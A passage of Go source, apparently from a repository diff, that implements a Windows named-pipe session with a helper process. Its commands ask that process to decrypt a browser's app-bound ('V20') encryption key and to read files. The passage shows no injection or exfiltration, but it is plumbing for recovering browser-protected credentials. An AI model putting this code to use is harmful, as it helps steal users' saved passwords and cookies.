if err != nil {
return 0, err
}
const (
PIPE_ACCESS_DUPLEX = 0x3
PIPE_TYPE_BYTE = 0x0
PIPE_READMODE_BYTE = 0x0
PIPE_WAIT = 0x0
PIPE_UNLIMITED_INSTANCES = 0xFF
)
r, _, err := procCreateNamedPipeW.Call(
uintptr(unsafe.Pointer(namePtr)),
PIPE_ACCESS_DUPLEX|windows.FILE_FLAG_OVERLAPPED,
PIPE_TYPE_BYTE|PIPE_READMODE_BYTE|PIPE_WAIT,
PIPE_UNLIMITED_INSTANCES,
65536, // output buffer
65536, // input buffer
15000, // timeout ms
0,
)
if r == ^uintptr(0) {
return 0, fmt.Errorf("CreateNamedPipeW: %w", err)
}
return windows.Handle(r), nil
}
func waitPipeConnect(hPipe windows.Handle, timeoutMs uint32) error {
hEvent, err := windows.CreateEvent(nil, 1, 0, nil)
if err != nil {
return fmt.Errorf("CreateEvent: %w", err)
}
defer windows.CloseHandle(hEvent)
ov := windows.Overlapped{HEvent: hEvent}
r, _, err := procConnectNamedPipe.Call(uintptr(hPipe), uintptr(unsafe.Pointer(&ov)))
if r != 0 {
return nil // already connected
}
if err == windows.ERROR_PIPE_CONNECTED {
return nil
}
if err != windows.ERROR_IO_PENDING {
return fmt.Errorf("ConnectNamedPipe: %w", err)
}
ret, _, _ := procWaitForSingleObject.Call(uintptr(hEvent), uintptr(timeoutMs))
if ret != uintptr(windows.WAIT_OBJECT_0) {
return fmt.Errorf("pipe connect timeout")
}
return nil
}
func (s *PipeSession) pipeSend(data []byte) error {
s.mu.Lock()
defer s.mu.Unlock()
if s.closed {
return fmt.Errorf("pipe session closed")
}
length := uint32(len(data))
lengthBytes := []byte{
byte(length),
byte(length >> 8),
byte(length >> 16),
byte(length >> 24),
}
var written uint32
err := windows.WriteFile(s.hPipe, lengthBytes, &written, nil)
if err != nil || written != 4 {
return fmt.Errorf("write length: %w", err)
}
if length > 0 {
var totalWritten uint32
for totalWritten < length {
var n uint32
err = windows.WriteFile(s.hPipe, data[totalWritten:], &n, nil)
if err != nil || n == 0 {
return fmt.Errorf("write data: %w", err)
}
totalWritten += n
}
}
return nil
}
func (s *PipeSession) pipeRecv() (status byte, data []byte, err error) {
s.mu.Lock()
defer s.mu.Unlock()
if s.closed {
return 0, nil, fmt.Errorf("pipe session closed")
}
var lengthBuf [4]byte
var totalRead uint32
deadline := time.Now().Add(10 * time.Second)
for totalRead < 4 {
if time.Now().After(deadline) {
return 0, nil, fmt.Errorf("pipe recv timeout")
}
var avail uint32
r, _, _ := procPeekNamedPipe.Call(uintptr(s.hPipe), 0, 0, 0, uintptr(unsafe.Pointer(&avail)), 0)
if r == 0 {
return 0, nil, fmt.Errorf("PeekNamedPipe failed")
}
if avail < 4-totalRead {
time.Sleep(50 * time.Millisecond)
continue
}
var n uint32
err = windows.ReadFile(s.hPipe, lengthBuf[totalRead:4], &n, nil)
if err != nil || n == 0 {
return 0, nil, fmt.Errorf("read length: %w", err)
}
totalRead += n
}
totalLen := uint32(lengthBuf[0]) | uint32(lengthBuf[1])<<8 | uint32(lengthBuf[2])<<16 | uint32(lengthBuf[3])<<24
if totalLen < 1 || totalLen > 100*1024*1024 {
return 0, nil, fmt.Errorf("invalid message length: %d", totalLen)
}
buf := make([]byte, totalLen)
totalRead = 0
for totalRead < totalLen {
var n uint32
err = windows.ReadFile(s.hPipe, buf[totalRead:], &n, nil)
if err != nil || n == 0 {
return 0, nil, fmt.Errorf("read data: %w", err)
}
totalRead += n
}
status = buf[0]
data = buf[1:]
return status, data, nil
}
func (s *PipeSession) Close() {
s.mu.Lock()
defer s.mu.Unlock()
if s.closed {
return
}
s.closed = true
s.sendExitLocked()
time.Sleep(100 * time.Millisecond)
procDisconnectNamedPipe.Call(uintptr(s.hPipe))
windows.CloseHandle(s.hPipe)
if s.ownsProcess && s.hProcess != 0 {
if s.job != 0 {
windows.CloseHandle(s.job)
s.job = 0
}
windows.TerminateProcess(s.hProcess, 0)
windows.WaitForSingleObject(s.hProcess, 3000)
windows.CloseHandle(s.hProcess)
} else if s.hProcess != 0 {
windows.CloseHandle(s.hProcess)
}
}
func (s *PipeSession) watchExit(label string, timeoutMs uint32) {
h := s.hProcess
if h == 0 {
return
}
go func() {
ret, _, _ := procWaitForSingleObject.Call(uintptr(h), uintptr(timeoutMs))
if ret != uintptr(windows.WAIT_OBJECT_0) {
return
}
s.mu.Lock()
wasClosed := s.closed
s.mu.Unlock()
if wasClosed {
return
}
var code uint32
if err := windows.GetExitCodeProcess(h, &code); err != nil {
return
}
logf("process %d (%s) died before pipe connect (exit code 0x%08x)", s.pid, label, code)
}()
}
func (s *PipeSession) sendExitLocked() {
exitCmd := []byte("EXIT")
length := uint32(len(exitCmd))
lengthBytes := []byte{byte(length), byte(length >> 8), byte(length >> 16), byte(length >> 24)}
windows.WriteFile(s.hPipe, lengthBytes, nil, nil)
windows.WriteFile(s.hPipe, exitCmd, nil, nil)
}
func (s *PipeSession) GetV20Key(browserName string, encKeyBase64 string) ([]byte, error) {
cmd := fmt.Sprintf("KEY:%s:%s", browserName, encKeyBase64)
if err := s.pipeSend([]byte(cmd)); err != nil {
return nil, fmt.Errorf("send KEY command: %w", err)
}
status, data, err := s.pipeRecv()
if err != nil {
return nil, fmt.Errorf("recv KEY response: %w", err)
}
if status != 0 {
return nil, fmt.Errorf("decrypt failed: %s", string(data))
}
return data, nil
}
func (s *PipeSession) ReadFile(path string) ([]byte, error) {
cmd := fmt.Sprintf("READ:%s", path)
if err := s.pipeSend([]byte(cmd)); err != nil {
return nil, fmt.Errorf("send READ command: %w", err)
}
status, data, err := s.pipeRecv()
if err != nil {
return nil, fmt.Errorf("recv READ response: %w", err)
}
if status != 0 {
return nil, fmt.Errorf("read failed: %s", string(data))
}
return data, nil
}
var ActivePipeSession *PipeSession
+21
View File
@@ -0,0 +1,21 @@
//go:build !windows
package platform
import (
"errors"
)
type PipeSession struct{}
var ActivePipeSession *PipeSession
func (s *PipeSession) Close() {}
func (s *PipeSession) GetV20Key(browserName string, encKeyBase64 string) ([]byte, error) {
return nil, errors.New("not supported")
}
func (s *PipeSession) ReadFile(path string) ([]byte, error) {
return nil, errors.New("not supported")
}